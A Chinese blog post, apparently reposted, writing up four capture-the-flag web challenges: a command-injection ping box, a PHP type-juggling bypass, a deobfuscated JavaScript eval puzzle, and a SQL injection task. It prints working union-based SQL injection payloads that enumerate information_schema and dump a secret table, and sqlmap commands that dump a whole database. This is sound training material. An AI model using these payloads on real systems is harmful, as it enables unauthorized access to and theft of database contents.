攻防世界 web(二)
這周接著刷攻防世界的web題( ̄︶ ̄)↗
1、command_execution
看提示這題為命令執行漏洞(command_execution),關于命令執行漏洞,我前面有篇博客詳細介紹了,大家不了解的話的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先嘗試一下127.0.0.1 發現執行成功,得到回顯:
那沒什么好說的了,直接查看目錄下的所有文件吧:
得到這些,接著查看home目錄下的文件:
發現flag文件,然后查看得到flag
2、simple_php
打開題目地址:
得到這么幾串代碼
意思是當a==0,但a的值又不能為0時輸出flag1,b大于1234,并且b不是數字時輸出flag2; 于是構造:?a=0a&b=12345A便可繞過得到完整的flag。
3、NaNNaNNaNNaN-Batman
知識點:js代碼(eval函數,alert函數)正則、代碼審計
eval() 函數:可計算某個字符串,并執行其中的的 JavaScript 代碼。
alert()函數:用于顯示帶有一條指定消息和一個確定按鈕的警告框。
下載附件,以文本格式打開:
是一段JS的代碼,改后綴為.html在游覽器打開:
有一個輸入框,但輸入什么都沒有反應,繼續分析js代碼 = ̄ω ̄= 審計代碼可以看到eval函數執行了_變量中的內容也就是' '中的內容,但是,要注意的是,它并沒有執行$()函數,僅僅執行了字符串而已(從而導致亂碼),因而頁面html頁面沒有任何顯示,只顯示了input標簽的內容,但是我們想讓源代碼正常顯示出來,不進行執行,那么,我們就用到了alert彈窗(將eval函數改為alert),將亂碼的$()函數源碼完整顯示出來:
整理一下得到:
分析代碼,我們的目標是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我們要滿足關鍵變量e的條件
這里又用到了正則表達式 ^表示開頭一定要匹配到be0f23,$表示結尾一定要匹配到e98aa,其它的只要匹配到就好,沒有位置要求,于是構造e=be0f233ac7be98aa
在輸入框中輸入e的值,點擊Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}
也可以直接將核心代碼直接在控制臺執行
var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}4、NewsCenter
這一題考察的是 SQL 注入,這里演示下手動注入和sqlmap兩種方法。
手動注入:
首先查返回列,經測試共三列返回數據。
接著查看數據庫名,看到庫名為news
查表名,構造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
得到兩個表,news中無數據,查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'
最后執行查詢語句
0' union select 1,2,fl4g from secret_table#
得到flag。
Sqlmap自動注入:
首先用bp抓包,得到http文件頭
保存為文本。然后執行命令:python sqlmap.py -r 1.txt --dbs 查數據庫
再執行命令:python sqlmap.py -r 1.txt -D news --dump 獲取庫中的所有數據
得到 flag ! ( ̄▽ ̄)"/
總結
以上是生活随笔為你收集整理的攻防世界 web(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DVWA——Sqlmap练习
- 下一篇: Linux中最方便的管理员获取方法